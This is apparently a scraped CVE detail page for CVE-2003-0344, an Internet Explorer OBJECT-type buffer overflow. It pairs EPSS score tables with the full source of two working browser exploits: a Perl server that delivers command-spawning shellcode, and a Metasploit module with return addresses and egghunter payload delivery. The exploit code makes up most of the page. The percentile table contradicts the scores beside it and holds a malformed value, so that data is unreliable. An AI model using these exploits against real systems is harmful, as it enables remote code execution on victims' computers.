CVE-2003-0344 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	86.37%	–	–
2023-03-12	–	–	–	97.21%	–
2023-06-25	–	–	–	97.08%	–
2023-11-19	–	–	–	97.07%	–
2024-04-07	–	–	–	96.97%	–
2024-06-02	–	–	–	96.97%	–
2024-10-20	–	–	–	95.65%	–
2024-12-22	–	–	–	95.73%	–
2025-01-19	–	–	–	95.73%	–
2025-03-18	–	–	–	–	74.05%
2025-03-30	–	–	–	–	74.31%
2025-03-30	–	–	–	–	74.31,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2023-03-12	1%
2023-06-25	1%
2023-11-19	1%
2024-04-07	1%
2024-06-02	1%
2024-10-20	99%
2024-12-22	1%
2025-01-19	1%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

#!/usr/bin/perl # # Proof of concept exploit on IE 5.x - 6.x by Alumni # IE-Object longtype dynamic call oferflow # # url://<$shellcode><'/'x48><jmp %ptr_sh> # the flaw actually exists in URLMON.DLL when converting backslashes # to wide char, this can be seen on stack dump near '&CLSID=AAA...2F__2F__...'. # # To exploit: i) start server perl script; # ii) connect to http-service using IE/5.x. # a) the shellcode size is limited up to 56 bytes; # b) the '$ret' may differ as well as the image base of KERNEL32.DLL; # c) to avoid multiple encoding the shellcode is given 'as is' with help of JScript. # use IO::Socket; $port = 80; $server = IO::Socket::INET->new (LocalPort => $port, Type =>SOCK_STREAM, Reuse => 1, Listen => $port) or die("Couldnt't create server socket\n"); $shellcode = "\x33\xdb". # xor ebx, ebx "\x8b\xd4". # mov edx, esp "\x80\xc6\xff". # add dh, 0xFF "\xc7\x42\xfc\x63\x6d". # mov dword ptr[edx-4], 0x01646D63 ("cmd\x01") "\x64\x01". # "\x88\x5a\xff". # mov byte ptr[edx-1], bl "\x8d\x42\xfc". # lea eax, [edx-4] "\x8b\xf5". # mov esi, ebp "\x56\x52". # push esi; push edx "\x53\x53\x53\x53\x53\x53". # push ebx "\x50\x53". # push eax; push ebx "\xb8\x41\x77\xf7\xbf". # mov eax, 0xBFF77741 ~= CreateProcessA "\xff\xd0". # call eax "\xb8\xf8\xd4\xf8\xbf". # mov eax, 0xBFF8D4F8 ~= ExitProcess "\xff\xd0". # call eax "\xcc"; # int 3 $nop = "\x90"; $ret = "\\xAB\\x5D\\x58"; while ($client = $server->accept()) { while (<$client>) { if ($_ =~ /^(\x0D\x0A)/) { print $client <<END_DATA; HTTP/1.0 200 Ok\r Content-Type: text/html\r \r &lt;script&gt;\r var mins = 56;\r var size = 48;\r var sploit = "$shellcode";\r var strNop = "$nop";\r var strObj = '&lt;object type="';\r for (i=0;i<mins-sploit.length;i++) strObj += strNop;\r strObj += sploit;\r for (i=0;i<size;i++) strObj += '/';\r strObj += "CCCCCCCCDDDDDDDD";\r strObj += "$ret";\r strObj += '">Hello&lt;/object&gt;';\r alert(strObj);\r document.write(strObj);\r &lt;/script&gt;\r END_DATA close($client); } } } close($server); # milw0rm.com [2003-06-07]

## # $Id: ms03_020_ie_objecttype.rb 10150 2010-08-25 20:55:37Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Egghunter include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :javascript => false, :os_name => OperatingSystems::WINDOWS, :vuln_test => nil, # no way to test without just trying it :prefix_html => "<!--[if lt IE 7]>", :postfix_html => "<![endif]-->", :rank => NormalRanking # reliable memory corruption }) def initialize(info = {}) super(update_info(info, 'Name' => 'MS03-020 Internet Explorer Object Type', 'Description' => %q{ This module exploits a vulnerability in Internet Explorer's handling of the OBJECT type attribute. }, 'Author' => 'skape', 'License' => MSF_LICENSE, 'Version' => '$Revision: 10150 $', 'References' => [ [ 'CVE', '2003-0344' ], [ 'OSVDB', '2967' ], [ 'BID', '7806' ], [ 'MSB', 'MS03-020' ], ], 'Payload' => { 'Space' => 1000, 'MaxNops' => 0, 'BadChars' => "\x8b\xe2", # Prevent UTF-8-ification 'StackAdjustment' => -3500, }, 'Targets' => [ # Target 0: Automatic [ 'Windows NT/XP/2003 Automatic', { 'Platform' => 'win', 'Rets' => [ 0x777e85ab, # Windows NT: samlib jmp esp 0x71ab1d54, # Windows XP: ws2_32 push esp/ret SP0/1 0x77d1f92f, # Windows 2003: user32 jmp esp SP0/1 ], }, ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 04 2003')) end def on_request_uri(cli, request) clean = 0x7ffdec50 ret = nil # Figure out which return address to use based on the user-agent case request['User-Agent'] when /Windows NT 5.2/ ret = target['Rets'][2] when /Windows NT 5.1/ ret = target['Rets'][1] when /Windows NT/ ret = target['Rets'][0] else print_status("Sending 404 to user agent: #{request['User-Agent']}") cli.send_response(create_response(404, 'File not found')) return end # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Pack the values ret = [ ret ].pack('V') clean = [ clean ].pack('V') hunter = generate_egghunter(p.encoded, payload_badchars, { :checksum => true }) egg = hunter[1] # Now, build out the HTTP response payload content = "<html>" + egg + "\n" + "<object type=\"////////////////////////////////////////////////////////////////" + rand_text_alphanumeric(8) + ret + clean + make_nops(8) + hunter[0] + "\">" + "</object>" + "</html>" print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end

source: https://www.securityfocus.com/bid/7806/info Microsoft Internet Explorer is prone to a boundary condition error when handling OBJECT tags in web pages. When a web page containing an OBJECT tag using a parameter containing excessive data is encountered by a vulnerable client, a internal memory buffer will be overrun. This could cause Internet Explorer to fail or potentially result in the execution arbitrary code in the security context of the current user. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22726.tar